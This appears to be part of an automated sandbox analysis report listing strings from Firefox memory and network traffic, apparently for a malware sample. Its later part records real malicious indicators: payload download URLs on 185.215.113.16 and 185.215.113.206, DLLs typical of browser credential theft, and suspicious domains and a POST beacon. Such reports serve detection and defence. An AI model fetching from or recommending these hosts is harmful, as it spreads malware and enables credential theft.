Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA90B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools/client/framework/devtools-browserWebChannel/this._originCheckCallbackresource://devtools/server/devtools-server.jsget FIXUP_FLAG_FORCE_ALTERNATE_URINo callback set for this channel.devtools.performance.popup.feature-flagUnable to start devtools server on JSON Viewer's onSave failed in startPersistenceFailed to execute WebChannel callback:DevTools telemetry entry point failed: @mozilla.org/network/protocol;1?name=default@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1browser.urlbar.dnsResolveFullyQualifiedNamesreleaseDistinctSystemPrincipalLoader{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)devtools/client/framework/devtoolsDevToolsStartup.jsm:handleDebuggerFlagdevtools.debugger.remote-websocketFailed to listen. Listener already attached.@mozilla.org/dom/slow-script-debug;1resource://devtools/shared/security/socket.jsFailed to listen. Callback argument missing.browser.fixup.dns_first_for_single_words^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?devtools.performance.recording.ui-base-url^([a-z+.-]+:\/{0,3})*([^\/@]+@).+Got invalid request to save JSON databrowser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1extension/default-theme@mozilla.org/extendedDatahttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shandlerSvc fillHandlerInfo: don't know this typehttps://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededresource://gre/modules/JSONFile.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/FileUtils.sys.mjsisDownloadsImprovementsAlreadyMigrated@mozilla.org/uriloader/web-handler-app;1http://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1extractScheme/fixupChangedProtocol<Can't invoke URIFixup in the content processgecko.handlerService.defaultHandlersVersionhttps://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjsScheme should be either http or httpsresource://gre/modules/DeferredTask.sys.mjshttps://mail.inbox.lv/compose?to=%s@mozilla.org/network/file-input-stream;1http://www.inbox.lv/rfc2368/?value=%s_finalizeInternal/this._finalizePromise<@mozilla.org/uriloader/local-handler-app;1{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sMust have a source and a callback@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1@mozilla.org/intl/converter-input-stream;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sFirst argument should be an nsIInputStreamnewChannel requires a single object argument@mozilla.org/scriptableinputstream;1https://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredAction@mozilla.org/uriloa
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/AND bookmarked equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D9413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D9413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D9413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Zy# equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: media.{0}.allow-x64-plugin-on-arm64findUpdates() - found update for resource://gre/modules/AddonManager.sys.mjsonPrefEMEGlobalEnabledChanged() id=resource://gre/modules/UpdateUtils.sys.mjsipc:first-content-process-createdstartup - adding gmp directory failed with dom.sitepermsaddon-provider.enabledmedia.gmp-manager.cert.checkAttributesstartup - adding clearkey CDM failedonPrefEnabledChanged() - adding gmp directory findUpdates() - updateTask succeeded for startup - adding clearkey CDM directory - the given reason to update is not supportedKEY_PLUGIN_LAST_INSTALL_FAIL_REASONonPrefEnabledChanged() - removing gmp directory KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONmedia.gmp-manager.checkContentSignaturemedia.gmp-manager.secondsBetweenChecksThis should only be called from XPCShell testsSitePermsAddonInstall#cancel called twice on This should only be called from XPCShell testsresource://gre/modules/AddonManager.sys.mjsresource://gre/modules/amManager.sys.mjsuninstallPlugin() - unregistering gmp directory addGatedPermissionTypesForXpcShellTestssitepermsaddon-provider-registeredspeculativeConnectWithOriginAttributes@mozilla.org/network/atomic-file-output-stream;1FileUtils_openSafeFileOutputStream@mozilla.org/network/safe-file-output-stream;1resource://gre/modules/addons/XPIProvider.jsmhttps://smartblock.firefox.etp/play.svg://www.everestjs.net/static/st.v3.js://track.adform.net/serving/scripts/trackpoint/://pub.doubleverify.com/signals/pub.js@mozilla.org/addons/addon-manager-startup;1://cdn.branch.io/branch-latest.min.js*://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.jsFileUtils_closeAtomicFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1://static.chartbeat.com/js/chartbeat_video.jsFileUtils_closeSafeFileOutputStream://static.criteo.net/js/ld/publishertag.js://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://web-assets.toggl.com/app/assets/scripts/.jspictureinpicture%40mozilla.org:1.0.0://libs.coremetrics.com/eluminate.jshttps://smartblock.firefox.etp/facebook.svg://.imgur.com/js/vendor..bundle.js@mozilla.org/network/file-output-stream;1webcompat-reporter@mozilla.org.xpi://connect.facebook.net//sdk.js*://connect.facebook.net//all.js*resource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2964951731.000001F5DA8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2967466612.000001F5DAA99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2964951731.000001F5DA8D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA87D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000001A.00000002.2948920823.000001F5D95A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2898015922.000001F5C9B6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeblw
Source: 22a4a09ee3.exe, 00000009.00000003.2871736930.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe#F
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe;F
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exesuFML
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeFm
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeylz
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe/F
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001FC000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll7
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllA
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllW
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllbecf79229cb002.php
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllll%
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlllli
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlllls
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll3
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllN
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll0
